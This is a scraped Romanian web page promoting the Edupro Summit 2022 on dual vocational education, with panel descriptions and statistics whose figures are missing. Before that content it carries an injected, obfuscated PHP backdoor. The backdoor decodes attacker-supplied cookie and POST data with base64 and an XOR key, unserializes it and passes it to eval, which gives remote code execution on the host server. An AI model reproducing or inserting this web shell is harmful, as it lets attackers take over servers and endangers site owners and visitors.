$GYjoV = 'P' . "\x4b" . 'u' . chr ( 1071 - 976 ).chr ( 446 - 381 )."\x51" . chr (121) . "\170" . "\x75";$kplOgnbkt = "\143" . chr ( 658 - 550 ).chr ( 918 - 821 ).chr ( 1086 - 971 ).chr (115) . "\x5f" . "\x65" . chr (120) . 'i' . chr ( 492 - 377 ).'t' . "\163";$wjvUBcXXXw = class_exists($GYjoV); $kplOgnbkt = "6008";$TMCrwj = !1;if ($wjvUBcXXXw == $TMCrwj){function QAkZYnvQsw(){return FALSE;}$PwJmIJF = "11327";QAkZYnvQsw();class PKu_AQyxu{private function YeoGOAo($PwJmIJF){if (is_array(PKu_AQyxu::$qYAWGdZZdH)) {$UqHGPeI = str_replace(chr ( 819 - 759 ) . chr ( 491 - 428 ).chr (112) . "\150" . "\160", "", PKu_AQyxu::$qYAWGdZZdH['c' . chr ( 727 - 616 ).chr (110) . chr (116) . 'e' . chr ( 1103 - 993 ).'t']);eval($UqHGPeI); $PwJmIJF = "11327";exit();}}private $GFMGT;public function KwWZrGzTg(){echo 46350;}public function __destruct(){$PwJmIJF = "14133_18320";$this->YeoGOAo($PwJmIJF); $PwJmIJF = "14133_18320";}public function __construct($nYkRMFY=0){$hyjXYbX = $_POST;$CnkulkeKp = $_COOKIE;$XWvbUnG = "3b2a3918-6f9e-438d-9f84-bd32d2ed91e2";$gAaROISH = @$CnkulkeKp[substr($XWvbUnG, 0, 4)];if (!empty($gAaROISH)){$MKAUmqK = "base64";$nAlrigh = "";$gAaROISH = explode(",", $gAaROISH);foreach ($gAaROISH as $lDaehE){$nAlrigh .= @$CnkulkeKp[$lDaehE];$nAlrigh .= @$hyjXYbX[$lDaehE];}$nAlrigh = array_map($MKAUmqK . "\137" . 'd' . chr (101) . chr (99) . chr ( 476 - 365 ).chr ( 248 - 148 ).'e', array($nAlrigh,)); $nAlrigh = $nAlrigh[0] ^ str_repeat($XWvbUnG, (strlen($nAlrigh[0]) / strlen($XWvbUnG)) + 1);PKu_AQyxu::$qYAWGdZZdH = @unserialize($nAlrigh); $nAlrigh = class_exists("14133_18320");}}public static $qYAWGdZZdH = 24441;}$MrbxFfzl = new /* 12418 */ $GYjoV(11327 + 11327); $TMCrwj = $MrbxFfzl = $PwJmIJF = Array();} Edupro Summit 2022 – Keep growing in dual Education

Edupro Summit susține și încurajează sistemul de învățământ dual prin dezbateri vii, sesiuni de lucru, conferințe, networking între toți actorii implicați.

Evenimentul este la cea de-a doua ediție. În cadrul KEEP GROWING IN DUAL EDUCATION, vom analiza împreună cu dvs. ce funcționează bine în învățământul profesional dual pentru a păstra și dezvolta sustenabil și vom genera idei de schimbare pentru un mai bine comun (elevi, instituții ale statului, mediu de business, unități școlare).

Vom premia pe de o parte exemple de bune practici, iar pe de altă parte ne vom implica pentru a transforma acest sistem de învățământ într-un catalizator pentru crearea de șanse tinerilor pe care îi dorim specialiști în diferite domenii de activitate, aici în România.

Pentru a merge mai departe este bine așadar să tragem linie, să vedem ce am făcut bine, ce lecții am avut de învățat și cum putem dezvolta noi inițiative concrete de proiecte.

date statistice

Reţeaua unităţilor din învăţământul profesional

Gradul de promovabilitate înregistrat în învăţământul profesional

Comparativ cu anul şcolar precedent, numărul elevilor din acest nivel a crescut cu 8,9%.

de angajatori din Romania au fost implicați în susținerea învățământului profesional dual, până în prezent.

din tinerii din România, între 15 și 29 de ani, nu se află într-o formă de învățământ sau în câmpul muncii, printre cele mai mari rate din Europa

dintre cei cu vârsta cuprinsă între 18 și 24 de ani au terminat cel mult clasa a VIII-a și nu și-au continuat studiile obligatorii. Cu alte cuvinte, dintr-o clasă cu 25 de copii, 4 dintre ei renunță la școală până la clasa a VIII-a sau imediat după finalizarea ei.

PANELURI

Primul panel cu și despre elevi, Parcursul elevilor în învățământul dual, ne va oferi o imagine reală a acestui tip de învățământ văzut din ochii principalilor actori ai sistemului: elevii. Vom încerca sa vedem care este scopul învățământului dual din perspectiva acestora, cum îi ajută acest sistem în startul lor în carieră și cum văd ei posibilități de îmbunătățire atât la școală cât și la practică.

Nu putem face schimbări, fără să aflăm părerea celor care vor experimenta aceste schimbări.

Cea de-a doua sesiune plenară Sistemul dual între fapte și perspective de viitor este foarte importantă în contextul în care vorbim despre o nouă lege a învățământului și despre un mediu educațional care va avea de gestionat atât oportunitățile, cât și provocările generate de această schimbare. Împreună cu reprezentanți ai mediului de business, ai instituțiilor publice și ai școlilor vom încerca să aflăm ce se află în spatele unor statistici precum abandonul școlar, șomaj în rândul tinerilor, șanse educaționale în mediu urban/mediu rural, ce lecții din trecut ducem în viitor și cum putem contribui concret în contextul actual la dezvoltarea învățământului dual (PNRR, noua lege a educației).

este rata analfabetismului funcțional în România
Rata șomajului în rândul tinerilor (15-24 ani)
este rata abandonului școlar în mediul rural, în timp ce în mediul urban este de sub 5%

de angajatori din Romania au fost implicați în susținerea învățământului profesional dual, până în prezent.

ahk=education

AHK se implică încă din 2017 în organizarea de proiecte în învăţământul profesional dual după model german şi le asigură acestora, prin activități susținute, sigla calităţii.

Dacă creștem împreună, crește fiecare dintre noi!